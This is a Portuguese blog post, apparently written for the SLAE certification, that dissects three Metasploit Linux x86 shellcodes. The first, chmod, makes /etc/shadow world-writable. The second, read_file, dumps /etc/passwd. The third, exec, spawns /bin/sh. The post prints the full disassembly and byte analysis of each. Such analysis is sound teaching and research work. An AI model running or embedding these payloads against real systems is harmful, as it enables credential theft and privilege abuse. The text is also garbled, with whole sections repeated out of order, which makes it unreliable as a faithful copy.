Este post é uma sequência. Para melhor entendimento, vejam:
SLAE - 1st Assignment - Shell Bind TCP
Hacking do Dia - Shell Bind TCP Random Port
SLAE - 2nd Assignment - Shell Reverse TCP
O menor do mundo? Yeah? So Beat the Bits!
SLAE - 3rd Assignment - Caçando Ovos?
SLAE - 4th Assignment - Encoding and Decoding Gollums
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-237
Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/5th.assignment
Missão
Olá! Estou de volta com a quinta missão do curso SLAE.
5th assignment:
- dissecar três shellcodes do Metasploit utilizando ndisasm (ou gdb) e libemu
- apresentar análise
1st - linux/x86/chmod
# msfpayload linux/x86/chmod S
Name: Linux Chmod
Module: payload/linux/x86/chmod
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 143
Rank: Normal
Provided by:
kris katterjohn <katterjohn@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Filename to chmod
MODE 0666 yes File mode (octal)
Description:
Runs chmod on specified file with specified mode
A syscall chmod recebe dois argumentos, o primeiro é o caminho ou arquivo a ter as permissões setadas, e o segundo é o bitmask resultado dos respectivos octais "ORed".
O payload linux/x86/chmod modifica as permissões de acesso do arquivo /etc/shadow para 0666.
# msfpayload linux/x86/chmod R | ndisasm -u -
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call dword 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popad
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Ele inicia com a instrução CDQ no intento de zerar EDX; aqui, já econtramos uma falha no shellcode do msf. Se houver lixo em EAX (um número negativo, por exemplo) EDX não será zerado, pois o CDQ copia o sign bit 31 de EAX para todos os bits de EDX.
00000000 99 cdq
A segunda instrução coloca o valor 15 ou 0xf em hexa no topo da STACK para seguidamente ser retirado e inserido em EAX.
00000001 6A0F push byte +0xf __NR_chmod
00000003 58 pop eax
Salvando EDX (supostamente 0) na stack.
00000004 52 push edx
"Percebi que essa última instrução, se removida, não afeta o shellcode, uma vez que o nome do arquivo não é inserido na STACK. Serão, então, a CDQ e a PUSH EDX, tentativas de evasão de IPS/IDS?"
"Percebi que essa última instrução, se removida, não afeta o shellcode, uma vez que o nome do arquivo não é inserido na STACK. Serão, então, a CDQ e a PUSH EDX, tentativas de evasão de IPS/IDS?"
Agora, o shellcode faz uma CALL para o EIP somado de 22 bytes. Esta call é utilizada em conjunto com a próxima instrução que retirará o novo endereço de EIP da STACK e salvará em EBX, onde o nome do arquivo (primeiro argumento da syscall) está em forma de bytes.
00000005 E80C000000 call dword 0x16 Mais um problema no payload - NULL bytes
...
00000016 5B pop ebx
Vejam que se convertermos os bytes do trecho entre a CALL (byte 5) e o destino (byte 16) em string, encontraremos o nome do arquivo.
2F das
657463 gs jz 0x71
2F das
7368 jnc 0x79
61 popad
646F fs outsd
7700 ja 0x16
A string é hardcoded no payload com a terminação NULL (0).
# python
>>> bytes.fromhex("2F6574632F736861646F7700")
b'/etc/shadow\x00'
No gdb, podemos verificar isso mais facilmente.
(gdb) x/s $ebx
0x804974a <shellcode+10>: "/etc/shadow"
(gdb) x/12bx $ebx
0x804974a <shellcode+10>: 0x2f 0x65 0x74 0x63 0x2f 0x73 0x68 0x61
0x8049752 <shellcode+18>: 0x64 0x6f 0x77 0x00
Em seguida, é inserido na STACK e retirado com POP ECX o bit mask para uso como segundo argumento da syscall chmod.
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
O valor hexa 0x1b6 corresponde ao octal 0666.
# printf '%o\n' 0x01b6
666
ou
# printf '%x\n' 0666 (lembre-se de colocar o zero à esquerda)
0x1b6
O restante do payload trata de chamar a syscall chmod com a INT 0x80 e fechar o programa explorado.
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
O chmod do msf tem 36 bytes. Dele consegui diminuir 2 bytes e ainda evitar possíveis bytes lixo; vejam abaixo.
Name: Linux Read File
Module: payload/linux/x86/read_file
Version:
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 180
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH /etc/passwd yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor
O payload read_file faz uso de quatro syscalls: open, read, write e exit. Mais informações: man 2 syscall.
# msfpayload linux/x86/read_file PATH=/etc/passwd R | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 0000 db 0x00
Encontramos mais uma vez o uso do JMP/CALL/POP para obter o endereço da string e, neste caso, copiá-lo para EBX.
00000000 EB36 jmp short 0x38
...
00000038 E8C5FFFFFF call dword 0x2
...
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
A string se localiza logo abaixo da instrução CALL.
E8C5FFFFFF call dword 0x2
2F das
657463 gs jz 0xa4
2F das
7061 jo 0xa5
7373 jnc 0xb9
7764 ja 0xac
00 db 0x00
# python
2nd - linux/x86/read_file
# msfpayload linux/x86/read_file PATH=/etc/passwd SName: Linux Read File
Module: payload/linux/x86/read_file
Version:
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 180
Rank: Normal
Provided by:
hal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FD 1 yes The file descriptor to write output to
PATH /etc/passwd yes The file path to read
Description:
Read up to 4096 bytes from the local file system and write it back
out to the specified file descriptor
O payload read_file faz uso de quatro syscalls: open, read, write e exit. Mais informações: man 2 syscall.
# msfpayload linux/x86/read_file PATH=/etc/passwd R | ndisasm -u -
00000000 EB36 jmp short 0x38
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
00000038 E8C5FFFFFF call dword 0x2
0000003D 2F das
0000003E 657463 gs jz 0xa4
00000041 2F das
00000042 7061 jo 0xa5
00000044 7373 jnc 0xb9
00000046 7764 ja 0xac
00000048 0000 db 0x00
Encontramos mais uma vez o uso do JMP/CALL/POP para obter o endereço da string e, neste caso, copiá-lo para EBX.
00000000 EB36 jmp short 0x38
...
00000038 E8C5FFFFFF call dword 0x2
...
00000002 B805000000 mov eax,0x5
00000007 5B pop ebx
A string se localiza logo abaixo da instrução CALL.
E8C5FFFFFF call dword 0x2
2F das
657463 gs jz 0xa4
2F das
7061 jo 0xa5
7373 jnc 0xb9
7764 ja 0xac
00 db 0x00
# python
>>> bytes.fromhex("2F6574632F70617373776400")
b'/etc/passwd\x00'
A continuação do shellcode é de fácil compreensão.
int open(["/etc/passwd", 0], 0);
00000002 B805000000 mov eax,0x5 NULL bytes
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
Após obtermos o retorno de open (file descriptor), continuamos com a syscall read, que copiará 4096 bytes do file descriptor dentro da STACK.
ssize_t read(ebx, *esp, 4096);
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
Eu realmente não entendi o motivo do payload utilizar EDI, e portanto fazer a cópia duas vezes do ponteiro de ESP. Pois bastava fazer: mov ecx,esp. Será isso mais uma tentativa de evasão?
Agora que já temos os dados do arquivo, vamos escrevê-lo no stdout.
ssize_t write(1, *esp, edx);
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
E sair do programa graciosamente.
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
A versão do msf tem 73 bytes. A minha tem apenas 51 bytes, é à prova de lixo e livre de null bytes.
O limite de leitura e escrita de 4096 bytes é uma garantia para não haver estouro de pilha. Podemos saber qual o limite da STACK utilizando o ulimit.
# ulimit -a
...
stack size (kbytes, -s) 8192
...
E se precisarmos de mais espaço na STACK, podemos aumentar o seu tamanho antes de a utilizarmos.
# man 2 setrlimit
...
int setrlimit(int resource, const struct rlimit *rlim);
...
;)
Name: Linux Execute Command
Module: payload/linux/x86/exec
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 143
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Description:
Execute an arbitrary command
# msfpayload linux/x86/exec CMD=/bin/sh R | ndisasm -u -
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E808000000 call dword 0x25
0000001D 2F das
0000001E 62696E bound ebp,[ecx+0x6e]
00000021 2F das
00000022 7368 jnc 0x8c
00000024 005753 add [edi+0x53],dl
00000027 89E1 mov ecx,esp
00000029 CD80 int 0x80
O execve é um velho conhecido nosso, correto? Por isso, deixo esta análise com vocês. Comparem o assembly do msf com o do Vivek e depois com o Tiny Execve Sh, o qual já apresentei em post anterior.
Dǘvidas? Críticas!? Comentem. Será um prazer respondê-los.
Até a próxima.
o//
b'/etc/passwd\x00'
A continuação do shellcode é de fácil compreensão.
int open(["/etc/passwd", 0], 0);
00000002 B805000000 mov eax,0x5 NULL bytes
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A CD80 int 0x80
Após obtermos o retorno de open (file descriptor), continuamos com a syscall read, que copiará 4096 bytes do file descriptor dentro da STACK.
ssize_t read(ebx, *esp, 4096);
0000000C 89C3 mov ebx,eax
0000000E B803000000 mov eax,0x3
00000013 89E7 mov edi,esp
00000015 89F9 mov ecx,edi
00000017 BA00100000 mov edx,0x1000
0000001C CD80 int 0x80
Eu realmente não entendi o motivo do payload utilizar EDI, e portanto fazer a cópia duas vezes do ponteiro de ESP. Pois bastava fazer: mov ecx,esp. Será isso mais uma tentativa de evasão?
Agora que já temos os dados do arquivo, vamos escrevê-lo no stdout.
ssize_t write(1, *esp, edx);
0000001E 89C2 mov edx,eax
00000020 B804000000 mov eax,0x4
00000025 BB01000000 mov ebx,0x1
0000002A CD80 int 0x80
E sair do programa graciosamente.
0000002C B801000000 mov eax,0x1
00000031 BB00000000 mov ebx,0x0
00000036 CD80 int 0x80
A versão do msf tem 73 bytes. A minha tem apenas 51 bytes, é à prova de lixo e livre de null bytes.
O limite de leitura e escrita de 4096 bytes é uma garantia para não haver estouro de pilha. Podemos saber qual o limite da STACK utilizando o ulimit.
# ulimit -a
...
stack size (kbytes, -s) 8192
...
E se precisarmos de mais espaço na STACK, podemos aumentar o seu tamanho antes de a utilizarmos.
# man 2 setrlimit
...
int setrlimit(int resource, const struct rlimit *rlim);
...
;)
3rd - linux/x86/exec
# msfpayload linux/x86/exec SName: Linux Execute Command
Module: payload/linux/x86/exec
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 143
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Description:
Execute an arbitrary command
# msfpayload linux/x86/exec CMD=/bin/sh R | ndisasm -u -
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E808000000 call dword 0x25
0000001D 2F das
0000001E 62696E bound ebp,[ecx+0x6e]
00000021 2F das
00000022 7368 jnc 0x8c
00000024 005753 add [edi+0x53],dl
00000027 89E1 mov ecx,esp
00000029 CD80 int 0x80
O execve é um velho conhecido nosso, correto? Por isso, deixo esta análise com vocês. Comparem o assembly do msf com o do Vivek e depois com o Tiny Execve Sh, o qual já apresentei em post anterior.
Dǘvidas? Críticas!? Comentem. Será um prazer respondê-los.
Até a próxima.
o//